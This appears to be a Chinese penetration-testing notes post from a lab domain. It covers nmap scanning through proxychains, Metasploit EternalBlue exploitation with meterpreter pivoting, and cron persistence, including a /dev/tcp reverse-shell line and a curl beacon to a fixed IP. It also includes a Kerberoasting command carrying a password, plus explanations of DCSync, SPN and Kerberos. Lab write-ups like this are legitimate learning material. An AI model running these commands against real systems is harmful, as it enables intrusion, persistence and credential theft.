    # 检查是否有 "Address:" 行,提取 IP 地址
    $ip = ($result | Select-String -Pattern "Address: (\d+\.\d+\.\d+\.\d+)" | ForEach-Object { $_.Matches.Groups[1].Value })
    
    # 如果找到 IP 地址,输出
    Write-Output "$ip"
}

nmap

#指定脚本扫描
proxychains4 nmap -sT -A -Pn --script vuln -p 445 172.22.9.47 > nmap01.txt'
#指定ip扫描
proxychains4 nmap -sT -A -Pn 172.22.9.47 >> nmap01.txt

msf

#打开监听器
use exploit/multi/handler
#搜索永恒之蓝
search ms17-010
#cs上线msf需要选择foregin监听器
msf机器监听,靶机运行shell脚本即可
#查看当前权限
getuid
#添加路由(拿到shell之后)
run autoroute -p  然后运行Example里面的命令,即可通讯到靶机的所有网段
#返回原来的shell界面
background
#查看目前所有路由
sessions
#执行文件
execute -f C:\\1.exe
#上传文件
upload /root/1.exe C:\\1.exe

反向上线路由监听机器

#设置路由解析
run autoroute -p   #运行Example里面的命令
#设置监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 被控机器ip
set LPORT 被控机器的监听端口
#攻击ms17-010
search ms17-010
use windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 被控机器ip
set LPORT 被控机器的监听端口
#启动!!!
run

#这里的payload、LHOST、LPORT必须一致

写计划任务

  • Centos 的定时任务文件在 /var/spool/cron/<username>
  • Ubuntu 定时任务文件在 /var/spool/cron/crontabs/<username>
#crontab -u <-l, -r, -e>

-u:指定一个用户

-l:列出某个用户的任务计划

-r:删除某个用户的任务

-e:编辑某个用户的任务

系统计划任务

echo '* * * * * bash -c "bash -i >& /dev/tcp/47.121.123.96/250 0>&1"' > root

* * * * * curl http://47.121.123.96:250

用户计划任务

文件路径

/var/spool/cron/username

概念解析

DCSync

DCSync攻击:

DCSync的原理是利用域控制器之间的数据同步复制

DCSync是AD域渗透中常用的凭据窃取手段,默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个DC从另外一个DC同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制,DCSync就是利用这个原理,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据,由于这种攻击利用了Windows RPC协议,并不需要登陆域控或者在域控上落地文件,避免触发EDR告警,因此DCSync时一种非常隐蔽的凭据窃取方式

DCSync 攻击前提:

想进行DCSync 攻击,必须获得以下任一用户的权限:

Administrators 组内的用户

Domain Admins 组内的用户

Enterprise Admins 组内的用户域控制器的计算机帐户

即:默认情况下域管理员组具有该权限

img

如图(Initial),因为xiaorang-WIN7具有dcsync权限,所以可以dump域内的所有哈希

SPN

https://zhuanlan.zhihu.com/p/474062138

服务主体名称(SPN:ServicePrincipal Names)是服务实例(可以理解为一个服务,比如 HTTP、MSSQL)的唯一标识符。Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的 SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个 SPN。SPN 始终包含运行服务实例的主机的名称,因此服务实例可以为其主机的每个名称或别名注册 SPN。

如果想使用 Kerberos 协议来认证服务,那么必须正确配置 SPN。一个账户可以对应多个SPN,一个SPN只对应一个账号,一个SPN对应一个服务。

类型

  1. 一种是注册在活动目录的机器帐户(Computers)下,当一个服务的权限为 Local System 或 Network Service,则SPN注册在机器帐户(Computers)下。
  2. 一种是注册在活动目录的域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下。

如下图所示,CN=Computers那就是主机,CN=Users那就是在域用户下注册:

img

扫描SPN

这里可以分为GetUserSPNs.py和其他,主要区别在于其他脚本需要rdp上对应域内机器进行操作,而GetUserSPNs.py只需要正确的域内账号密码即可,不要求可以rdp

proxychains4 impacket-GetUserSPNs -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf

Kerberos

Kerberos 身份验证协议包括三种类型的交换(也称为子协议):

img

  • 身份验证服务 (AS) 交换 (KRB_AS_*)
  • 票证授予服务 (TGS) 交换 (KRB_TGS_*)
  • 客户端/服务器 (AP) 交换 (KRB_AP_*)

在 AS 交换中,客户端可以使用帐户的密码或私钥创建预身份验证器,从而请求票证授予票证 (TGT)。 此情况在用户登录或首次需要服务票证时发生。

在 TGS 交换中,帐户的 TGT 用于创建身份验证器,以请求服务票证。 此情况在需要经过验证的连接时发生。

AP 交换的发生频率与应用程序协议的中数据相同,并且不受应用程序协议的影响。

TGT(Ticket Granting Ticket)

定义:TGT是票据授予票据,它是用户在初始身份验证时由Kerberos认证服务器(AS,Authentication Server)颁发的票据。

功能:TGT的主要功能是允许用户在无需再次输入密码的情况下,从票据授予服务器(TGS,Ticket Granting Server)请求访问其他服务的票据。它相当于一个通行证,证明用户已经通过了身份验证。

工作原理:用户首次登录时,会向AS发送一个包含用户名的请求。AS验证用户的身份后,生成一个TGT,并用用户的密钥(通常是由用户密码派生的密钥)加密后返回给用户。用户可以使用这个TGT在会话期间请求其他服务的访问票据,而不需要重新输入密码。

ST(Service Ticket)

定义:ST是服务票据,它是用户在请求访问特定服务时,由TGS颁发的票据。

功能:ST的主要功能是授权用户访问特定的服务。每个ST都是针对一个特定的服务生成的,用户需要向TGS提供有效的TGT来请求ST。

工作原理:当用户需要访问某个服务时,会向TGS发送一个包含TGT和请求服务信息的请求。TGS验证TGT的有效性后,生成一个ST并返回给用户。用户然后将这个ST提交给目标服务(Server),服务会验证ST的有效性,进而允许用户访问。

SPN(Service Principal Name)

一个SPN通常由以下几个部分组成:

  1. 服务类(Service Class):指定服务的类型,例如 HTTP、MSSQLSvc、HOST 等。
  2. 主机名(Hostname):提供服务的主机的名称,可以是完全限定域名(FQDN)或简单主机名。
  3. 端口(Port)(可选):服务的端口号,有时会包含在SPN中以进一步区分服务实例。

SPN在Kerberos中的作用

  1. 标识服务:SPN唯一标识网络中的服务实例,使得Kerberos能够准确地颁发服务票据。
  2. 服务票据请求:当用户需要访问某个服务时,他们会使用SPN向TGS请求服务票据。TGS通过SPN识别目标服务并生成相应的服务票据。
  3. 服务验证:当服务收到服务票据时,它使用SPN来验证票据是否授予了正确的服务。

TGS交换与GetUserSPNs

用户获取TGT

  • 用户首先通过认证服务器(AS)进行身份验证,获取一个票证授予票证(TGT)。
  • TGT允许用户在会话期间无需再次输入密码就能请求服务票据。

用户请求服务票据(TGS交换)

  • 用户使用已获取的TGT向票证授予服务器(TGS)请求特定服务的访问票据。
  • 用户发送的请求包括TGT和对特定服务的请求。

TGS生成服务票据(TGS ticket)

  • TGS验证TGT的有效性,并生成一个服务票据(TGS ticket),用于用户访问所请求的服务。
  • 这个服务票据(TGS ticket)是加密的,只能被目标服务解密和验证。

简单来说这里获取的就是TGS交换过程返回的TGS ticket,我们通过对其的爆破得到用户密码明文进行进行恶意操作。

PS:服务票据(TGS ticket)就是ST(Service Ticket)

在此鸣谢chu0大手子的教导!!!

本文由作者按照 CC BY 4.0 进行授权